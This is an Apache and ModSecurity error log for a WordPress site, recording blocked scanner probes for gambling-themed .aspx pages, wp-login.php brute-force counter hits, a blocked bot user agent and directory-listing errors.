[Thu Mar 19 04:24:32.646523 2026] [:error] [pid 23883:tid 23936] [client 217.182.194.2:44010] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "absKANNi-EnEAH4abz1dCAAAAEc"]
[Thu Mar 19 04:24:34.645152 2026] [:error] [pid 23988:tid 24006] [client 217.182.194.2:44018] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "absKAmnlkSPXj2matr3eEgAAAM8"]
[Thu Mar 19 04:24:36.580593 2026] [:error] [pid 23883:tid 23948] [client 217.182.194.2:44020] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "absKBNNi-EnEAH4abz1dEAAAAFM"]
[Thu Mar 19 04:24:38.487495 2026] [:error] [pid 23883:tid 23930] [client 217.182.194.2:59226] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "absKBtNi-EnEAH4abz1dGwAAAEE"]
[Thu Mar 19 04:24:40.518376 2026] [:error] [pid 23988:tid 23995] [client 217.182.194.2:59236] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "absKCGnlkSPXj2matr3eIgAAAMQ"]
[Thu Mar 19 04:24:42.453560 2026] [:error] [pid 23884:tid 23965] [client 217.182.194.2:59242] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "absKCl6St-VCdOYnZMrBmAAAAIk"]
[Thu Mar 19 04:24:44.330380 2026] [:error] [pid 23883:tid 23931] [client 217.182.194.2:59248] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "absKDNNi-EnEAH4abz1dMgAAAEI"]
[Thu Mar 19 04:24:46.351723 2026] [:error] [pid 23988:tid 23994] [client 217.182.194.2:59250] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "absKDmnlkSPXj2matr3eNwAAAMM"]
[Thu Mar 19 04:24:48.436893 2026] [:error] [pid 23884:tid 23957] [client 217.182.194.2:41794] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "absKEF6St-VCdOYnZMrBzgAAAIE"]
[Thu Mar 19 04:24:50.440289 2026] [:error] [pid 23884:tid 23969] [client 217.182.194.2:41800] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "absKEl6St-VCdOYnZMrB2QAAAI0"]
[Thu Mar 19 04:24:52.457425 2026] [:error] [pid 23884:tid 23971] [client 217.182.194.2:41804] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "absKFF6St-VCdOYnZMrB2wAAAI8"]
[Thu Mar 19 04:24:54.490920 2026] [:error] [pid 23988:tid 24008] [client 217.182.194.2:41806] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "absKFmnlkSPXj2matr3eZAAAANE"]
[Thu Mar 19 04:24:55.393550 2026] [:error] [pid 23882:tid 23915] [client 217.182.194.2:41816] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "absKF7WnClbtbN12M7_upwAAAA0"]
[Thu Mar 19 04:24:56.415418 2026] [:error] [pid 23884:tid 23977] [client 217.182.194.2:41828] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "absKGF6St-VCdOYnZMrB8wAAAJU"]
[Thu Mar 19 04:24:58.432104 2026] [:error] [pid 23883:tid 23944] [client 217.182.194.2:34860] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "absKGtNi-EnEAH4abz1ddQAAAE8"]
[Thu Mar 19 04:24:59.285083 2026] [:error] [pid 23884:tid 23961] [client 217.182.194.2:34868] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "absKG16St-VCdOYnZMrB_gAAAIU"]
[Thu Mar 19 04:25:00.342143 2026] [:error] [pid 23988:tid 24008] [client 217.182.194.2:34884] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "absKHGnlkSPXj2matr3efwAAANE"]
[Thu Mar 19 04:25:02.313283 2026] [:error] [pid 23884:tid 23971] [client 217.182.194.2:34896] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "absKHl6St-VCdOYnZMrCBgAAAI8"]
[Thu Mar 19 04:25:04.369276 2026] [:error] [pid 23884:tid 23956] [client 217.182.194.2:34912] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "absKIF6St-VCdOYnZMrCCgAAAIA"]
[Thu Mar 19 04:25:06.330731 2026] [:error] [pid 23884:tid 23970] [client 217.182.194.2:34914] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "absKIl6St-VCdOYnZMrCEQAAAI4"]
[Thu Mar 19 04:25:08.364299 2026] [:error] [pid 23988:tid 24006] [client 217.182.194.2:37456] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "absKJGnlkSPXj2matr3elwAAAM8"]
[Thu Mar 19 04:25:10.498028 2026] [:error] [pid 23988:tid 23991] [client 217.182.194.2:37458] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "absKJmnlkSPXj2matr3engAAAMA"]
[Thu Mar 19 04:25:12.444760 2026] [:error] [pid 23988:tid 23997] [client 217.182.194.2:37462] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "absKKGnlkSPXj2matr3epgAAAMY"]
[Thu Mar 19 05:41:36.259316 2026] [:error] [pid 23883:tid 23950] [client 43.156.202.34:43506] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abscENNi-EnEAH4abz1yeAAAAFU"]
[Thu Mar 19 06:31:08.282279 2026] [:error] [pid 23883:tid 23940] [client 31.171.130.38:49265] [client 31.171.130.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "absnrNNi-EnEAH4abz2AFwAAAEs"]
[Thu Mar 19 08:24:59.324713 2026] [:error] [pid 23884:tid 23980] [client 31.171.130.20:30673] [client 31.171.130.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtCW16St-VCdOYnZMoJuwAAAJg"]
[Thu Mar 19 08:24:59.324765 2026] [:error] [pid 23884:tid 23973] [client 31.171.130.41:27541] [client 31.171.130.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtCW16St-VCdOYnZMoJugAAAJE"]
[Thu Mar 19 08:31:15.435945 2026] [:error] [pid 3278:tid 3286] [client 193.19.109.6:49183] [client 193.19.109.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtD0wC2T_lM6ZgvfcRC-QAAAQU"]
[Thu Mar 19 08:36:20.043597 2026] [:error] [pid 3278:tid 3286] [client 31.171.130.33:38559] [client 31.171.130.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtFBAC2T_lM6ZgvfcRDYwAAAQU"]
[Thu Mar 19 08:36:20.043731 2026] [:error] [pid 31205:tid 31228] [client 31.171.130.5:39517] [client 31.171.130.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abtFBFu5gZKGrGz5P1EsMQAAAUs"]
[Thu Mar 19 09:46:02.540822 2026] [:error] [pid 23883:tid 23938] [client 91.99.188.14:36194] [client 91.99.188.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abtVWtNi-EnEAH4abz2KlgAAAEk"]
[Thu Mar 19 09:57:21.038928 2026] [autoindex:error] [pid 31447:tid 31461] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:21.326155 2026] [autoindex:error] [pid 31447:tid 31462] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:21.559019 2026] [autoindex:error] [pid 31447:tid 31470] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:21.848982 2026] [autoindex:error] [pid 31447:tid 31470] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:29.822804 2026] [autoindex:error] [pid 31447:tid 31474] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:30.080007 2026] [autoindex:error] [pid 31447:tid 31469] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:30.351491 2026] [autoindex:error] [pid 31447:tid 31469] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:30.640490 2026] [autoindex:error] [pid 31447:tid 31469] [client 209.87.169.245:45143] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:33.326023 2026] [autoindex:error] [pid 23883:tid 23941] [client 209.87.169.235:40751] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:33.578521 2026] [autoindex:error] [pid 23883:tid 23936] [client 209.87.169.235:40751] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:34.072249 2026] [autoindex:error] [pid 23883:tid 23950] [client 209.87.169.235:40751] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:42.650463 2026] [autoindex:error] [pid 23883:tid 23950] [client 209.87.169.235:40751] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:57:42.893532 2026] [autoindex:error] [pid 23883:tid 23935] [client 209.87.169.235:40751] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:52:20.483498 2026] [:error] [pid 31205:tid 31241] [client 147.135.252.179:59086] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abtk5Fu5gZKGrGz5P1F6xwAAAVg"]
[Thu Mar 19 10:52:22.677954 2026] [:error] [pid 23882:tid 23913] [client 147.135.252.179:48260] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abtk5rWnClbtbN12M78-YgAAAAs"]
[Thu Mar 19 10:52:24.857831 2026] [:error] [pid 25135:tid 25154] [client 147.135.252.179:48274] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abtk6KKtE0dzgMctjFWwwgAAA1E"]
[Thu Mar 19 10:52:26.971591 2026] [:error] [pid 23882:tid 23919] [client 147.135.252.179:48280] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abtk6rWnClbtbN12M78-cgAAABE"]
[Thu Mar 19 10:52:28.952709 2026] [:error] [pid 31205:tid 31217] [client 147.135.252.179:55624] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abtk7Fu5gZKGrGz5P1F60wAAAUE"]
[Thu Mar 19 10:52:31.084844 2026] [:error] [pid 23882:tid 23906] [client 147.135.252.179:55632] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abtk77WnClbtbN12M78-egAAAAQ"]
[Thu Mar 19 10:52:33.055913 2026] [:error] [pid 3278:tid 3282] [client 147.135.252.179:55640] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abtk8QC2T_lM6ZgvfcRhFQAAAQE"]
[Thu Mar 19 10:52:35.222207 2026] [:error] [pid 25135:tid 25137] [client 147.135.252.179:55654] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abtk86KtE0dzgMctjFWw2wAAA0A"]
[Thu Mar 19 10:52:37.285194 2026] [:error] [pid 25135:tid 25154] [client 147.135.252.179:55670] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abtk9aKtE0dzgMctjFWw5AAAA1E"]
[Thu Mar 19 10:52:39.309720 2026] [:error] [pid 24925:tid 24935] [client 147.135.252.179:56618] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abtk9_UZEHbnUgjEbWNR9QAAAYY"]
[Thu Mar 19 10:52:41.161924 2026] [:error] [pid 31205:tid 31228] [client 147.135.252.179:56624] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abtk-Vu5gZKGrGz5P1F64QAAAUs"]
[Thu Mar 19 10:52:43.308526 2026] [:error] [pid 25269:tid 25295] [client 147.135.252.179:56630] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "abtk-8U9ntriqNcU-b6iDQAAA9c"]
